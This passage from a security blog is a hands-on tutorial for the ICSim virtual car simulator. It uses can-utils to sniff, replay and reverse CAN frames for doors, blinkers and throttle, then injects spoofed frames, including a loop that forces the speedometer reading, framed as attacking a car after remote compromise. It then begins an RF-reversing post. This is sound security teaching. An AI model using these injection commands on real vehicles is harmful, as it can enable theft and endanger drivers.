Once you load this up you are going to want to install CAN utilities and pre-requisite libraries. This is really easy to do with the following Apt-get commands:</div>
<div class="p1">
<span style="color: #6aa84f;">sudo apt-get update</span></div>
<div class="p1">
<span style="color: #6aa84f;">sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils </span><span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Then we are going to pull down the ICSimulator repo:<span class="Apple-converted-space"> </span></div>
<div class="p3">
<span class="s1"><span style="color: #6aa84f;">git clone</span> <a href="https://github.com/zombieCraig/ICSim.git"><span class="s2">https://github.com/zombieCraig/ICSim.git</span></a></span></div>
<div class="p2">
<br />
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Starting the simulator: </span></h3>
</div>
<div class="p1">
Once this is done we can startup the simulator by changing directories to the downloaded repo and running the following 2 commands, which will setup a virtual CAN interface and a simulator GUI Cluster:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Run the setup Script to get the vcan0 interface up:<span class="Apple-converted-space"> </span></div>
<div class="p1">
root@kali:~/ICSim# <span style="color: #6aa84f;">./setup_vcan.sh<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
root@kali:~/ICSim# <span style="color: #6aa84f;">./icsim vcan0</span></div>
<div class="p2">
<br /></div>
<div class="p1">
On a new terminal tab we will open up our simulators controller with the following command,</div>
<div class="p1">
root@kali:~/ICSim#<span style="color: #6aa84f;">./controls vcan0</span></div>
<div class="p2">
<br /></div>
<div class="p1">
Note: that the controller must be the in-focus GUI screen to send keyboard commands to the simulator.<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZp3wy-jw9_t92h0Qpw9gI97J1OGAxO-ft9lTkAbPKG0Xb17dR6Wzm6uWFHEmkq_09BkkSaY7G2DoXGSDNcJk7tUA_C9yiikOtqbTlfHN7ZhjYT9YjU_HiZZF13Rqbfp9nCk1Qw7qwMs8Q/s1600/Dashbaord.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="313" data-original-width="562" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZp3wy-jw9_t92h0Qpw9gI97J1OGAxO-ft9lTkAbPKG0Xb17dR6Wzm6uWFHEmkq_09BkkSaY7G2DoXGSDNcJk7tUA_C9yiikOtqbTlfHN7ZhjYT9YjU_HiZZF13Rqbfp9nCk1Qw7qwMs8Q/s320/Dashbaord.png" width="320" /></a></div>
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFq3_I5mk9l8ue07kd9lcA1wYQQy39itVtxT8z8Yh5ke5QUaSCGFrjNVH6WyMKHh-m3iabUvPitLb6WXD_CKhUlYsxt1L_TyKR6t1oue7PiUxJgwWFC2PoxAkrf5XVKBaDm0FY_rh0CpuI/s1600/Controls.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="596" data-original-width="816" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFq3_I5mk9l8ue07kd9lcA1wYQQy39itVtxT8z8Yh5ke5QUaSCGFrjNVH6WyMKHh-m3iabUvPitLb6WXD_CKhUlYsxt1L_TyKR6t1oue7PiUxJgwWFC2PoxAkrf5XVKBaDm0FY_rh0CpuI/s320/Controls.png" width="320" /></a></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">How to Use the Simulator:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
The simulator has a speedometer with Right and Left turn signals, doors etc. Below are the list of commands to control the simulator when the Control panel is in focus. Give them each a try and note the changes to the simulator.<span class="Apple-converted-space"> </span></div>
<div class="p1">
Up and Down keys control the gauges clusters speedometer</div>
<div class="p1">
Left and Right keys Control the Blinkers</div>
<div class="p1">
Right Shift + X, A or B open doors<span class="Apple-converted-space"> </span></div>
<div class="p1">
Left Shift + X, A or be Close doors</div>
<div class="p2">
<br /></div>
<div class="p1">
Try a few of the above commands for example Right Shift +X and you will see the interface change like so, notice the open door graphic:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<add door="" graphic="" open=""></add></div>
<div class="p2">
<br /></div>
<div class="p1">
Awesome, thanks to OpenGarages you now you have your very own car to hack</div>
<div class="p2">
<br /></div>
<div class="p1">
Notice in the setup commands above we used a VCan0 interface. Run Ifconfig and you will now see that you indeed have a new network interface that speaks to the CAN network over VCan0.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #38761d;">ifconfig vcan0</span></div>
<div class="p1">
vcan0 <span class="Apple-converted-space"> </span>Link encap:UNSPEC<span class="Apple-converted-space"> </span>HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 <span class="Apple-converted-space"> </span></div>
<div class="p1">
<span class="Apple-converted-space"> </span>UP RUNNING NOARP<span class="Apple-converted-space"> </span>MTU:16<span class="Apple-converted-space"> </span>Metric:1</div>
<div class="p1">
<span class="Apple-converted-space"> </span>RX packets:558904 errors:0 dropped:0 overruns:0 frame:0</div>
<div class="p1">
<span class="Apple-converted-space"> </span>TX packets:558904 errors:0 dropped:0 overruns:0 carrier:0</div>
<div class="p1">
<span class="Apple-converted-space"> </span>collisions:0 txqueuelen:1<span class="Apple-converted-space"> </span></div>
<div class="p1">
<span class="Apple-converted-space"> </span>RX bytes:3663935 (3.6 MB)<span class="Apple-converted-space"> </span>TX bytes:3663935 (3.6 MB)</div>
<div class="p2">
<br />
<br /></div>
<div class="p1">
Car networks run on a variety of protocols most prevalent being CAN. You can think of a CAN Bus like an old school networking hub where everyone can see everyone elses traffic. This is true to some extent although you may not see all of the cars traffic if its not connected to that particular bus your plugged into. You can think of CAN traffic kind of like UDP in that its send and forget, the main difference being parts of the CAN bus network don't actually have addresses and everything runs off arbitration IDs and priorities. Thats enough background to get you doing rather then reading.<br />
<br />
With a little knowledge out of the way lets check if we can see our CAN traffic from our virtual car via the CanDump utility, which you installed as part of CanUtils package above. Using the following command on the vcan0 interface our simulator uses you can view a stream of traffic:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">candump vcan0</span></div>
<div class="p2">
<br /></div>
<div class="p1">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKCeCR30OXpt_OIFqoAewEgxLaUz_tbWjKBpdVZbqIZIbLtSR1HTbE0sTvUd_Nn2rmEW4QNdrjdm-xmar18uxvezLrG1tfhteyBoXeq2EJTI7uHSXg18EvnOc3Jkkdo-8QKJn05BoXs92b/s1600/CanDumpExample.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="290" data-original-width="648" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKCeCR30OXpt_OIFqoAewEgxLaUz_tbWjKBpdVZbqIZIbLtSR1HTbE0sTvUd_Nn2rmEW4QNdrjdm-xmar18uxvezLrG1tfhteyBoXeq2EJTI7uHSXg18EvnOc3Jkkdo-8QKJn05BoXs92b/s640/CanDumpExample.png" width="640" /></a></div>
<br /></div>
<div class="p1">
<br />
Above we can see a bunch of CAN frames, and if we perform actions on the vehicle we will see changes to data values in the CanDump output.<span class="Apple-converted-space"> </span>However this may happen very fast, and we may not be able to see if for example we unlocked our simulators door. This is because things are changing constantly in the cars IDLE state. One single value changing may not stand out enough for us to take notice or may scroll so fast we cant see it.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br />
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Capture and Replay CAN Actions: </span></h3>
</div>
<div class="p1">
One option would be to perform an action and replay it, we should see the actions happen again in the replay if the traffic for the action we recorded is on the same bus network our device is plugged into. There are loads of networks within a car and its not guaranteed our network tap for example an OBD2 port plugin is connected to the same network as door we opened.<span class="Apple-converted-space"> </span>Or the door may not be connected to the network at all depending on your car and its age or how its configured.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span style="color: #6aa84f;">Replaying dumps with CanPlayer:<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
Another useful tool included with CanUtils package is CanPlayer for replaying traffic. If the functionality we are trying to capture is on the same Bus as the adaptor plugged into the car, or in this case our Virtual CAN interface, we can use CanDump to save traffic to a file. We then use CanPlayer to replay the traffic on the network. For example lets run CanDump and open a door and then replay the functionality with CanPlayer.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span style="color: #6aa84f;">Lab 1 Steps:<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
<br />
<ol>
<li>Run CanDump</li>
<li>Right Shift + X to open a door</li>
<li>Cancel CanDump (ctrl+c)</li>
<li>Left Shift + X to close the door</li>
<li>Run can player with the saved dump and it will replay the traffic and open the door</li>
</ol>
</div>
<div class="p2">
<br /></div>
<div class="p1">
Recording the door opening:<span class="Apple-converted-space"> </span>(-l for logging)<span class="Apple-converted-space"> </span></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">candump -l vcan0</span></div>
<div class="p2">
<br /></div>
<div class="p1">
Replaying the CanDump file:<span class="Apple-converted-space"> </span>(use the file your can dump created)<span class="Apple-converted-space"> </span></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">canplayer -I candump-2018-04-06_154441.log<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<br /></div>
<div class="p1">
Nice, so if all went well you should see that your door is now open again. If this did not happen when attacking a real car, just try to replay it again. CAN networks are not like TCP/IP, they are more like UDP in that you send out your request and its not expecting a response. So if it gets lost then it gets lost and you have to resend. Perhaps something with higher priority on the network was sending at the time of your replay and your traffic was overshadowed by it.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-QajoKPTyvFmwqo_eKm9yVIZr-zD6u1xNMEH7q_OWXdn6EtK05vGG_090pvNgN2eeJAGd3XfjHNzhPvt_-563HBO69OWqzwVQ0AD5YjDRunVZoFPWljpSuQ0Prwmr5Roc3BvVUHcPIoF3/s1600/DoorOpen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="325" data-original-width="685" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-QajoKPTyvFmwqo_eKm9yVIZr-zD6u1xNMEH7q_OWXdn6EtK05vGG_090pvNgN2eeJAGd3XfjHNzhPvt_-563HBO69OWqzwVQ0AD5YjDRunVZoFPWljpSuQ0Prwmr5Roc3BvVUHcPIoF3/s640/DoorOpen.png" width="640" /></a></div>
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Interacting with the Can Bus and Reversing Traffic:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
So thats cool, but what about actually understanding what is going on with this traffic, CanDump is not very useful for this, is scrolls by to quickly for us to learn much from.<span class="Apple-converted-space"> </span>Instead we can use CanSniffer with colorized output to show us the bytes within packets that change. Below is an example of CanSniffer Traffic:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
To startup can sniffer run the following:<span class="Apple-converted-space"> </span></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">cansniffer -c vcan0</span></div>
<div class="p2">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvNjDxWuXlTAvO9TyndgSkIL9uNMJXl57R32YXtyl_D7quMHi4ZrZ03sgwxWvQV3E2JdhhZK045UhE6hafM0_STCZkgzdiwEc7_Khc29CUeKX_tognPH2_xcIydPpw_0Biisbw6hDyUc0n/s1600/cansniffer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="806" height="507" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvNjDxWuXlTAvO9TyndgSkIL9uNMJXl57R32YXtyl_D7quMHi4ZrZ03sgwxWvQV3E2JdhhZK045UhE6hafM0_STCZkgzdiwEc7_Khc29CUeKX_tognPH2_xcIydPpw_0Biisbw6hDyUc0n/s640/cansniffer.png" width="640" /></a></div>
<br /></div>
<div class="p1">
<br />
<br /></div>
<div class="p1">
You will see 3 fields, Time, ID<span class="Apple-converted-space"> </span>and Data. Its pretty easy to figure out what these are based on thier name. The most important part for our usage in this blog are the ID and the Data fields.<span class="Apple-converted-space"> </span><br />
<br />
The ID field is the frame ID which is loosely associated with the device on the network which is effected by the frame being sent. The ID to also determines the priority of the frame on the network.<span class="Apple-converted-space"> </span>The lower the number of the CAN-ID the higher priority it has on the network and more likely it will be handled first.<span class="Apple-converted-space"> </span>The data field is the data being sent to change some parameter like unlocking a door or updating output. You will notice that some of the bytes are highlighted RED. The values in red are the values that are changing during the idle state you are currently in.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Determine which ID and Byte controls the throttle:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
So with the terminal sniffing window open put the simulator and the controller into the foreground, with the controller being the window you have clicked and selected.<span class="Apple-converted-space"> </span>Pay attention to the CanSniffer output while hitting the UP ARROW and look for a value that was white but is now Red and increasing in value as the throttle goes up.<span class="Apple-converted-space"> </span>This might take you a few minutes of paying attention to whats going on to see.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
The following 2 pictures show ID 244 in the IDLE state followed by pressing the up button to increase the speed. You will notice a byte has turned red and is increasing in value through a range of HEX values 0-F. It will continue to enumerate through values till it reaches its max speed.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYP9AVI7LIv_jz3sr8wUDG-ND2W0ujj_bFAUPW6PA5rCqWtUAxj-eKPYS0G33bglxj3SslYg4yJrIb3WaQwCJfSwZUEbRtaVgMs3kxPu4DHciZ8NXedLQYNvF9oJgN0mpTNzhR0QUNa6T/s1600/Throttle_idle.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="168" data-original-width="619" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYP9AVI7LIv_jz3sr8wUDG-ND2W0ujj_bFAUPW6PA5rCqWtUAxj-eKPYS0G33bglxj3SslYg4yJrIb3WaQwCJfSwZUEbRtaVgMs3kxPu4DHciZ8NXedLQYNvF9oJgN0mpTNzhR0QUNa6T/s1600/Throttle_idle.png" /></a></div>
<br /></div>
<div class="p1">
<br /></div>
<div class="p1">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Bh4oHo_UpTWlLE2LePRU4YGnPyXa_CNq0j1RKfMUByJh6N54jgtAfa2AX8alRyzjhsaoh44Bw3rY0FgMccRCZc-ulpFzsVIe30wWeD0gESptIB8pjbfYsRDkBWBNGWngUvrlvs2T6Qqo/s1600/FullThrottle.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="84" data-original-width="639" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Bh4oHo_UpTWlLE2LePRU4YGnPyXa_CNq0j1RKfMUByJh6N54jgtAfa2AX8alRyzjhsaoh44Bw3rY0FgMccRCZc-ulpFzsVIe30wWeD0gESptIB8pjbfYsRDkBWBNGWngUvrlvs2T6Qqo/s1600/FullThrottle.png" /></a></div>
<br /></div>
<div class="p2">
</div>
<div class="p1">
<br />
The byte in ID 244 which is changing is the value while the throttle is engaged, so 244 associated in some way with the increasing speed. <span class="Apple-converted-space"> </span>The throttle speed is a good value to start with as it keeps increasing its value when pressed making it easier to spot while viewing the CanSniffer output. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Singling out Values with Filters:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
If you would like to single out the throttle value then click the terminal window and press -000000 followed by the Enter key which will clear out all of the values scrolling. Then press +244 followed by the Enter key which will add back the throttle ID. You can now click the controller again and increase the speed with your Up arrow button without all the noise clouding your view.<span class="Apple-converted-space"> </span>You will instead as shown below only have ID 244 in your output:<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<br /></div>
<div class="p1">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfshrlCYZKrF6ldn1do8AJC6jFomlC29Ak8ybDJbXbBqSvphYIm5nP_Pdz4nJn_orfYyS1cyocQrMyYxerZuEqQ3aEPJawNq1tENIc94sEET5jS9brypgRDeKrRnz4m9xOzkpGpdBkd62B/s1600/ID244.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="174" data-original-width="742" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfshrlCYZKrF6ldn1do8AJC6jFomlC29Ak8ybDJbXbBqSvphYIm5nP_Pdz4nJn_orfYyS1cyocQrMyYxerZuEqQ3aEPJawNq1tENIc94sEET5jS9brypgRDeKrRnz4m9xOzkpGpdBkd62B/s640/ID244.png" width="640" /></a></div>
<br />
<br /></div>
<div class="p1">
To get back all of the IDs again click the terminal window and input +000000 followed by the Enter key. <span class="Apple-converted-space"> </span>Now you should see all of the output as before.<span class="Apple-converted-space"> </span>Essentially 000000 means include everything. But when you put a minus in front of it then it negates everything and clears your terminal window filtering out all values.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Determine Blinker ID:</span><span class="Apple-converted-space" style="color: #6aa84f;"> </span></h3>
</div>
<div class="p1">
Now lets figure out another ID for the blinkers. If you hit the left or right arrow with the controls window selected you will notice a whole new ID appears in the list, ID 188 shown in the picture below which is associated with the blinker.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqKEneFdVTAHqKxspOdZZiYGf7QPccIlXvlQX7rtbDE-usU1WKfo1SkDVv4XQqKMQV0XwZTrRTlYyyqaijnVAkI1HMvXJ6sDvU7KhcxB3OTOf2cl3gPv5jmIFqXdTdl2SBGkb34Gcxe_Tp/s1600/Binker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="577" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqKEneFdVTAHqKxspOdZZiYGf7QPccIlXvlQX7rtbDE-usU1WKfo1SkDVv4XQqKMQV0XwZTrRTlYyyqaijnVAkI1HMvXJ6sDvU7KhcxB3OTOf2cl3gPv5jmIFqXdTdl2SBGkb34Gcxe_Tp/s1600/Binker.png" /></a></div>
<br />
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
This ID was not listed before as it was not in use within the data output until you pressed the blinker control.<span class="Apple-converted-space"> </span>Lets single this value out by pressing -000000 followed by +188.<span class="Apple-converted-space"> Just like in the throttle example y</span>our terminal should only show ID 188, initially it will show with 00 byte values.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span class="Apple-converted-space"> </span>As you press the left and the right blinker you will see the first Byte change from 00 to 01 or 02. If neither is pressed as in the screenshot above it will be 00. Its kind of hard to have the controller in focus and get a screenshot at the same time but the ID will remain visible as 00 until it times out and disappears from the list when not active. However with it filtered out as above you can get a better view of things and it wont disappear. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Time for YOU to do some Protocol Reversing:</span></h3>
</div>
<div class="p1">
This lab will give you a good idea how to reverse all of the functionality of the car and associate each action with the proper ID and BYTE. This way you can create a map of intended functionality changes you wish to make.<span class="Apple-converted-space"> </span>Above we have done a few walk throughs with you on how to determine which byte and ID is associated with an action. Now its time to map everything out yourself with all the remaining functionality before moving on to attacking individual components. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Lab Work Suggestion:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
<br />
<ol>
<li>Take out a piece of paper and a pencil</li>
<li>Try unlocking and locking doors and write down the ID which controls this action (remember your filters)</li>
<li>Try unlocking each door and write down the BYTES needed for each door to open</li>
<li>Try locking each doors and what Bytes change and what are their values, write them down</li>
<li>Do the same thing for the blinkers left and right (Might be different then what I did above)<span class="Apple-converted-space"> </span></li>
<li>What ID is the speedometer using?<span class="Apple-converted-space"> </span>What byte changes the speed?<span class="Apple-converted-space"> </span></li>
</ol>
</div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Attacking Functionality Directly:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
With all of the functionality mapped out we can now try to target various devices in the network directly without interacting with the controllers GUI. Maybe we broke into the car via cellular OnStar connection<span class="Apple-converted-space"> </span>or the center console units BLE connection which was connected to the CAN network in some way.<span class="Apple-converted-space"> </span><br />
After an exploit we have direct access to the CAN network and we would like to perform actions. Or maybe you have installed a wireless device into an OBD2 port under the dashboard you have remote access to the automobile.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Using the data from the CAN network reversing lab above we can call these actions directly with the proper CAN-ID and Byte.<span class="Apple-converted-space"> </span>Since we are remote to the target we can’t just reach over and grab the steering wheel or hit the throttle we will instead send your CAN frame to make the change.</div>
<div class="p1">
One way we can do this is via the CanSend utility. Lets take our information from our lab above and make the left turn signal flash with the following ID 188 for the turn signal by changing the first byte to 01 indicating the left signal is pressed. CanSend uses the format ID#Data. You will see this below when sending the turn signal via CanSend.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">cansend vcan0 188#01000000</span><span class="Apple-converted-space"> </span></div>
<div class="p2">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPR9OeRr7pKLq6piKNy5SIscgMFTioCB85SYtDo755zG-Iy5CBhlE16snMVZ1aB_k4jUCN3hhUK2kfhsiFvPJ8R0bGRNFfxnss7M_mImy_dIlWtSlcPjDo5u5-P6Dh1gUFgRzfjtEi1h2Y/s1600/TurnLeft.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="320" data-original-width="604" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPR9OeRr7pKLq6piKNy5SIscgMFTioCB85SYtDo755zG-Iy5CBhlE16snMVZ1aB_k4jUCN3hhUK2kfhsiFvPJ8R0bGRNFfxnss7M_mImy_dIlWtSlcPjDo5u5-P6Dh1gUFgRzfjtEi1h2Y/s400/TurnLeft.png" width="400" /></a></div>
<br />
<br /></div>
<div class="p1">
You should have noticed that the left signal flashed. If not pay more attention and give it another try or make sure you used the correct ID and changed the correct byte.<span class="Apple-converted-space"> </span>So lets do the same thing with the throttle and try to set the speed to something with ID 244 that we determined was the throttle.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">cansend vcan0 244#00000011F6<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<br /></div>
<div class="p1">
My guess is that nothing happened because its so fast the needle is not going to jump to that value. So instead lets try repeating this over and over again with a bash loop which simply says that while True keep sending the throttle value of 11 which equates to about 30mph:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">while true; do cansend vcan0 244#00000011F6;<span class="Apple-converted-space"> </span>done</span></div>
<div class="p2">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoU064X6v2WDyfCRlKN7_DfL_QpbNBOHfj30eKRPSUlyX-t5RAEXZNkPfDgRavLpYCwLvH91ia9dyNr_v9mop-PMjmvxzRei8vNuGacr7is2LMibEsMjgj32KPXzFNMZhWa-5wNhmfxrzv/s1600/Screen+Shot+2018-04-20+at+4.13.18+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoU064X6v2WDyfCRlKN7_DfL_QpbNBOHfj30eKRPSUlyX-t5RAEXZNkPfDgRavLpYCwLvH91ia9dyNr_v9mop-PMjmvxzRei8vNuGacr7is2LMibEsMjgj32KPXzFNMZhWa-5wNhmfxrzv/s400/Screen+Shot+2018-04-20+at+4.13.18+PM.png" width="400" /></a></div>
<br /></div>
<div class="p1">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
Yes thats much better, you may notice the needle jumping back and forth a bit. The reason the needle is bouncing back and forth is because the normal CAN traffic is sent telling the car its actually set to 00 in between your frames saying its 30mph.<span class="Apple-converted-space"> </span>But it worked and you have now changed the speed the car sees and you have flashed the blinker without using the cars normal blinker controls. Pretty cool right?<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Monitor the CAN Bus and react to it:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
Another way to handle this issue is to monitor the CAN network and when it sees an ID sent it will automatically send the corresponding ID with a different value.. Lets give that a try to modify our speed output by monitoring for changes. Below we are simply running CanDump and parsing for ID 244 in the log output which is the throttle value that tells the car the speed. When a device in the car reports ID 244 and its value we will immediately resend our own value saying the speed is 30mph with the value 11.<span class="Apple-converted-space"> </span>See below command and try this out.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
ficti0n@ubuntu:~/Desktop/ICSim$ <span style="color: #6aa84f;">candump vcan0 | grep " 244 " | while read line; do cansend vcan0 244#00000011F6; done</span></div>
<div class="p2">
<br /></div>
<div class="p1">
With this running after a few seconds you will see the speed adjust to around 30MPH once it captures a legitimate CAN-ID 244 from the network traffic and sends its own value right after. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Ok cool, so now while the above command is still running click the controller window and start holding down the Up arrow with the controller in focus.. After a few seconds or so when the speed gets above 30MPH you will see the needle fighting for the real higher value and adjusting back to 30MPH as your command keeps sending its on value as a replacement to the real speed.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
So thats one way of monitoring the network and reacting to what you see in a very crude manner.<span class="Apple-converted-space"> </span>Maybe someone stole your car and you want to monitor for an open door and if they try to open the door it immediately locks them in.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Conclusion and whats next:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
I am not an expert car hacker but I hope you enjoyed this. Thats about as far as I want to go into this subject today, in the next blog we will get into how to code python to perform actions on the CAN network to manipulate things in a similar way.<span class="Apple-converted-space"> </span>With your own code you are not limited to the functionality of the tools you are provided and can do whatever you want. This is much more powerful then just using the CanUtils pre defined tools. Later on I will also get into the hardware side of things if you would like to try this on a real car where things are more complicated and things can go wrong.<span class="Apple-converted-space"> </span></div>
<br />Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com4tag:blogger.com,1999:blog-5948768001255972621.post-71900537084510852552018-01-28T15:17:00.002-08:002018-01-28T16:49:33.540-08:00 Hacking Everything with RF and Software Defined Radio - Part 3<h2>
<span style="color: #38761d;"><br /></span></h2>
<h2>
<span style="color: #38761d;">
Reversing Device Signals with RFCrack for Red Teaming</span></h2>
<div class="p1">
<br />
This blog was researched and automated by:<br />
<span style="color: #38761d;"><a href="http://twitter.com/ficti0n">@Ficti0n </a></span></div>
<div class="p2">
<span style="color: #38761d;"><a href="https://twitter.com/GarrGhar">@GarrGhar </a></span><br />
Mostly because someone didn't want to pay for a new clicker that was lost LOL<br />
<br />
Websites:<br />
Console Cowboys:<span style="color: #38761d;"> <a href="http://consolecowboys.com/">http://consolecowboys.com </a></span><br />
